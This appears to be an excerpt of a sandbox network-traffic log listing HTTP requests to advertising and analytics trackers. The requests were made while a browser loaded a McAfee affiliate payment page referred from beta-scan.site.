Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/740246542/?random=1727968793182&cv=11&fst=1727968793182&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /ee/t37/v1/interact?configId=d5083270-5d70-440f-9d98-af0375ae793f&requestId=c77ae0f1-29b7-4c09-a428-0ac934c85c08 HTTP/1.1Host: adobedc.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=57375863586382987474250180290899850175; dextp=60-1-1727968792356
Source: global traffic	HTTP traffic detected: GET /iu3?pid=65e43844-67af-4e22-8a96-8d2d226fd5eb&event=AddToCart&_rnd=0.2050440943967049&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A58NrcA3jk1co0wqD978tpA; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /wi/config/10180750.json HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.mcafee.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/740246542/?random=1727968793205&cv=11&fst=1727968793205&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view%3Becomm_prodid%3D663%3Becomm_pagetype%3Dhome&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /tv2track.js HTTP/1.1Host: collector-30568.us.tvsquared.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&idsite=TV-6390453618-1&rec=1&r=111348&h=11&m=19&s=55&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&urlref=https%3A%2F%2Fbeta-scan.site%2F&_id=3ecc6dbd12117410&_idts=1727968795&_idvc=0&_idn=1&_viewts=&cvar=%7B%225%22%3A%5B%22PAGEVIEW%22%2C%22%7B%5C%22rev%5C%22%3A%5C%22%5C%22%2C%5C%22prod%5C%22%3A%5B%5C%22663%5C%22%5D%2C%5C%22id%5C%22%3A%5C%22payment%5C%22%2C%5C%22promo%5C%22%3A%5C%221494%5C%22%7D%22%5D%7D&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&_cvar=%7B%225%22%3A%5B%22session%22%2C%22%7B%5C%22user%5C%22%3A%5C%226%5C%22%7D%22%5D%7D&gt_ms=1074 HTTP/1.1Host: collector-30568.us.tvsquared.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /active/mcafee.jsp HTTP/1.1Host: www.upsellit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/integrations?OrgId=CJB9Y&isInFrame=false&isNative=false HTTP/1.1Host: rs.fullstory.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/740246542/?random=1727968793142&cv=11&fst=1727968793142&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUk8eIaGMxt2Q81u6vYoDkPFiKWrDYEheuswjBd4oo3PhXnCX6OwURcPlU7e
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wi/ytc.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/740246542/?random=1727968793182&cv=11&fst=1727968793182&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmHC-9lvF1Zv4PSdOmAd7iEpDluaL3jdiw8LOz7ZjKySfchoftH8PVGAelI
Source: global traffic	HTTP traffic detected: GET /signals/config/554540123362514?v=2.9.170&r=stable&domain=www.mcafee.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112 HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wi/config/10180750.json HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/740246542/?random=1727968793205&cv=11&fst=1727968793205&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view%3Becomm_prodid%3D663%3Becomm_pagetype%3Dhome&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmXyiOcSRqbj4iTu3Rw1hHXxhVzl2_XxmukL0AweCoc3yceYGLHl0Paw5bj
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&idsite=TV-6390453618-1&rec=1&r=111348&h=11&m=19&s=55&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&urlref=https%3A%2F%2Fbeta-scan.site%2F&_id=3ecc6dbd12117410&_idts=1727968795&_idvc=0&_idn=1&_viewts=&cvar=%7B%225%22%3A%5B%22PAGEVIEW%22%2C%22%7B%5C%22rev%5C%22%3A%5C%22%5C%22%2C%5C%22prod%5C%22%3A%5B%5C%22663%5C%22%5D%2C%5C%22id%5C%22%3A%5C%22payment%5C%22%2C%5C%22promo%5C%22%3A%5C%221494%5C%22%7D%22%5D%7D&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&_cvar=%7B%225%22%3A%5B%22session%22%2C%22%7B%5C%22user%5C%22%3A%5C%226%5C%22%7D%22%5D%7D&gt_ms=1074 HTTP/1.1Host: collector-30568.us.tvsquared.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/integrations?OrgId=CJB9Y&isInFrame=false&isNative=false HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/740246542/?random=1109197643&cv=11&fst=1727968793173&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgiQybECIgEBOAFAAUonZXZlbnQtc291cmNlPW5hdmlnYXRpb24tc291cmNlLCB0cmlnZ2VyYgQKAgID&pscrd=CJWQ5pOrotzj8AEiEwiOrouywfKIAxXiiIMHHcQELvoyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6F2h0dHBzOi8vd3d3Lm1jYWZlZS5jb20vQlZDaEFJOElINXR3WVFqN1NiazhiOG9fVWxFaXdBNHAyTDlTb1J6bG1IckRaNGl3TXQ1TzI3S2ZwYkJjYjlHTlBvazk4NlBxbnNPVHMxbHNMYjJxeGNRZw HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmXyiOcSRqbj4iTu3Rw1hHXxhVzl2_XxmukL0AweCoc3yceYGLHl0Paw5bj
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=1&ClientTime=1727968795576&PageStart=1727968793870&PrevBundleTime=0&LastActivity=1464&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/740246542/?random=1286466279&cv=11&fst=1727968793197&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgjqxrECCJHJsQIiAQE4AUABSixldmVudC1zb3VyY2UsIHRyaWdnZXIsIG5vdC1uYXZpZ2F0aW9uLXNvdXJjZWIECgICAw&pscrd=CIfcnqP5tqvNFSITCN6lm7LB8ogDFfaggwcd5BcLfTICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLMgIIFTICCB8yAggTMgIIEjoXaHR0cHM6Ly93d3cubWNhZmVlLmNvbS9CVkNoQUk4SUg1dHdZUWo3U2JrOGI4b19VbEVpd0E0cDJMOWFzTHpqWmxzMDBmWHNlZlVMSkRWSDBua2tWX1FGMjN5MUdSUDR6cVpBbFlvLXBZdFdHUE5R HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 